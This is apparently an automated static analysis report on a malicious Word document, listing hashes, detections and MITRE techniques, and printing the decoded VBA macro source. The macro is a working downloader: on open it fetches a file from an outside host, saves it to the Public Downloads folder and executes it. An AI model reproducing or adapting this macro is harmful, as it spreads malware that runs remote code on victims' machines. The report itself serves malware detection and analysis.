Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 88383b774cb336ec…

MALICIOUS

Office (OOXML)

18.1 KB Created: 2021-05-09 22:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: ce34b8c865dc29b0b450e7514d0f8ab3 SHA-1: 0e0f42b23d9e90fd928299b17767268577768e0a SHA-256: 88383b774cb336ec0db0d12ce8ef6ee60d89ea77e3e4beca5a1a322078162beb
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that execute upon opening. The AutoOpen subroutine uses Microsoft.XMLHTTP to download a file from 'https://occurrent-fatigues.000webhostapp.com/12_CNB_Programas_de_Becas-70212-em.txt', saves it as 'C:\Users\Public\Downloads\12_CNB_Programas_de_Becas-70212-em.jpeg', and then attempts to execute it using 'cmd.exe'. This indicates a downloader functionality.

Heuristics 8

  • ClamAV: Doc.Macro.Downloader-6360614-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Downloader-6360614-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("C:\Users\Public\Downloads\12_CNB_Programas_de_Becas-70212-em.jpeg -e cmd.exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     .write perrito.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim perrito: Set perrito = CreateObject("Microsoft.XMLHTTP")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Shell ("C:\Users\Public\Downloads\12_CNB_Programas_de_Becas-70212-em.jpeg -e cmd.exe")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://occurrent-fatigues.000webhostapp.com/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 835 bytes
SHA-256: 6819e4f5d146c451dd32215e5625d0e065efef222ce7d5c09b37f97f0fd8f681
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim perrito: Set perrito = CreateObject("Microsoft.XMLHTTP")
Dim tortuga: Set tortuga = CreateObject("Adodb.Stream")
Dim gato
gato = "12_CNB_Programas_de_Becas-70212-em.txt"
perrito.Open "GET", "https://occurrent-fatigues.000webhostapp.com/" + gato, False
perrito.Send
With tortuga
 .Type = 1
 .Open
 .write perrito.responseBody
 .savetofile "C:\Users\Public\Downloads\12_CNB_Programas_de_Becas-70212-em.jpeg", 2
End With
Shell ("C:\Users\Public\Downloads\12_CNB_Programas_de_Becas-70212-em.jpeg -e cmd.exe")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: c065402c9d20ed62ff895e8164c09c36339685f6fc9e53772b23fd181a1c0079
Detection
ClamAV: Doc.Macro.Downloader-6360614-0
Obfuscation or payload: unlikely

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